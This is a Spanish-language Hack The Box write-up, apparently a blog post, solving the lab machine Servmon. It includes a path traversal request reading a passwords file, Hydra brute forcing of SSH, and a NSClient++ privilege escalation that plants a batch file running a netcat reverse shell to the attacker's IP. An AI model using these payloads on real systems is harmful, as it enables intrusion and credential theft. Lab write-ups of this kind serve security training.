Shutterstock 1480094903

Writeup-Servmon Hack the box


Charly face
Elzer Pineda

Pasos para resolver Servmon Hack The Box:

  • Nmap Scan
  • Enumerate FTP
  • Enumerate Web Pages
  • Exploit to NVMS-1000 (CVE : 2019–2085)
  • Local Port Forwarding via SSH
  • Priv Escalation on NSClient++ 0.5.2.35

Nmap Scan: nmap -sC -sV -sS 10.10.10.184

Como hemos visto en los resultados, podemos afirmar que el FTP puede acceder como usuario anónimo. Hagámoslo ahora mismo. Después de un inicio de sesión exitoso, podemos ver que hay un directorio de “Usuarios” y hay dos directorios, “Nadine” y “Nathan”. Intentemos entrar en estos directorios.

ftp 10.10.10.184

En Nadine, hay un archivo llamado “Confidential.txt” y para Nathan, “Notes to do” . Intenta descargarlos a nuestra máquina local.

Descargamos nuestros archivos con el comando get <file>

Entonces, tenemos dos archivos de texto. Abrámoslo y leámoslo.

Después de leer estos dos archivos, podemos saber que Nathan y Nadine son usuarios de nuestra máquina objetivo. Así que, vamos a avanzar al puerto 80.

Una duda que nos surge, no hace preguntarnos, ¿por qué no al puerto 22?
Sí, formalmente el puerto 22 necesita nombre de usuario y contraseña. Ahora tenemos 2 nombres de usuario. ¿Dónde está la contraseña? Entonces, necesitamos encontrar contraseñas de otros servicios o puertos. Por eso dejamos el puerto 22.
Intenta enumerar el puerto 80.

En el puerto 80, hay una página web, que pide nombre de usuario y contraseña. Así que simplemente introduje “admin : admin”. Pero falló. Así que, cambié el nombre de usuario por “nadine/nathan” e intenté evitar las contraseñas. Después de intentarlo por 5 minutos, terminé allí y traté de enumerar otros en la página web y me percate por lo siguiente:

¿Cuál es el nombre del panel de acceso? NVMS-1000, ¿verdad? Rápidamente busqué el exploit NVMS- 1000 en Google. Afortunadamente, encontré CVE en Exploit-DB: 

Leí los detalles de este CVE y prepare mi burp suite, al interceptar el formulario de solicitud del puerto 80,  envié la solicitud a la pestaña de repetidor y seguí al CVE y funcionó.

Intentemos:

 

1. Incerceptar la petecion con nuestro proxy de burpsuite y enviarla a nuestra pestaña de repetidor para modificar la peticíon.

Por lo tanto, debemos recordar el contenido de Confidential.txt .
“Dejé tu archivo Passwords.txt en tu escritorio”
Así que cambiemos el directorio de solicitudes.

GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1

Tenemos nombres de usuario y contraseñas. Así que, volvamos al puerto 22 SSH. Usaré a Hydra para la fuerza bruta con la obtención de nombres de usuario y contraseñas.

En nuestro archivo users.txt tenemos nuestros dos usuarios y en el archivo pass.txt nuestras contraseñas encontradas.

Después de una exitosa fuerza bruta, obtuve el nombre de usuario y la contraseña de SSH.

ssh [email protected]

Después de acceder a SSH con el nombre de usuario y la contraseña de arriba, tenemos el shell de usuario de Nadine. Lo terminé aquí y traté de enumerar otro puerto más alto, el 8443. Como ya hemos visto en los resultados de Nmap, lleva a una página web con SSL. Así que, vamos a enumerar en el navegador web.

https://10.10.10.184:8443

Podemos ver que NSClient++ está funcionando en el puerto 8443. Pero me he dado cuenta de que esta página está rota y recientemente sé que esta página está corriendo en el localhost. Porque he resuelto una caja como esa en VulnLab.

Como hicimos en la parte de usuario del puerto 80, busquemos algún exploit en Google. Aquí también encontramos CVE  y seguirlo. Intentemos leer los archivos de programa

  • c:\program files\nsclient++\nsclient.ini

Aquí podemos ver la contraseña y los hosts permitidos.

Siguiendo las instrucciones del CVE para explotar la vulnerabilidad de elevación de privilegios solo debemos crear un pequeño script .bat que nos permita llamar un nc.exe a nuestro servidor y colocar el archivo en la siguiente ruta del /api/v1/scripts/ext/scripts/ para que pueda ser ejecutado por NSclient y de esta manera lograr elevar los privilegios.

Iniciamos un http.server con python en nuestro equipo para pasar los archivos a SERVMON

  • python3 -m http.server 80

Descargamos nuestro nc.exe en C:\temp\nc.exe

powershell.exe wget  -outfile “c:\temp\nc.exe”

Creamos nuestro archivo .bat

Contenido de me.bat
@echo off
C:\Temp\nc.exe 10.10.14.38 4444 -e cmd.exe

Descargamos nuestros archivos en Servmon con los siguientes comandos:

Luego de revisar el sistema operativo me encontre que puedo ejecutar curl y cargar nuestras propias peticiones desde el servidor al https://localhost:8443

Aprovechando esta ventaja y con nuestra contraseña encontrada en nsclient.ini cargeremos al servidor nuestro archivo me.bat en la ruta especificada por el CVE y aprovechar esta vulnerabilidad.

Contraseña en nsclient.ini: ew2x6SsGTxjRwXOT

curl en accíon!

curl -s -k -u admin -X PUT  — data-binary “

C:\temp\nc.exe 10.10.14.38 4444 -e cmd.exe”

curl -s -k -u admin 

Después de esperar dos minutos y conseguiremos la conexión inversa de la máquina objetivo a nuestra máquina local.

Levantamos nuestro netcat para recibir nuestra reverse shell y estaremos como nt authority\system

nc -lnvp 433

ROOT!!!



Logo
Cristian Jose Acuña Ramirez
ha comentado hace 4 meses

Excelente material

Artículos que te pueden interesar


En múltiples ocasiones nos ha tocado realizar pensteting pero no tenemos a mano un kali virtualizado o alguna distro de pentest de su elección, ... José Moreno


Continuar Leyendo

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de el... Israel Pérez


Continuar Leyendo

H-c0n es una de las conferencias mas grandes en españa que reune a los mejores hacker de la región, un lugar donde abunda el compartir conocimie... Omar Jacobo Muñoz Veliz


Continuar Leyendo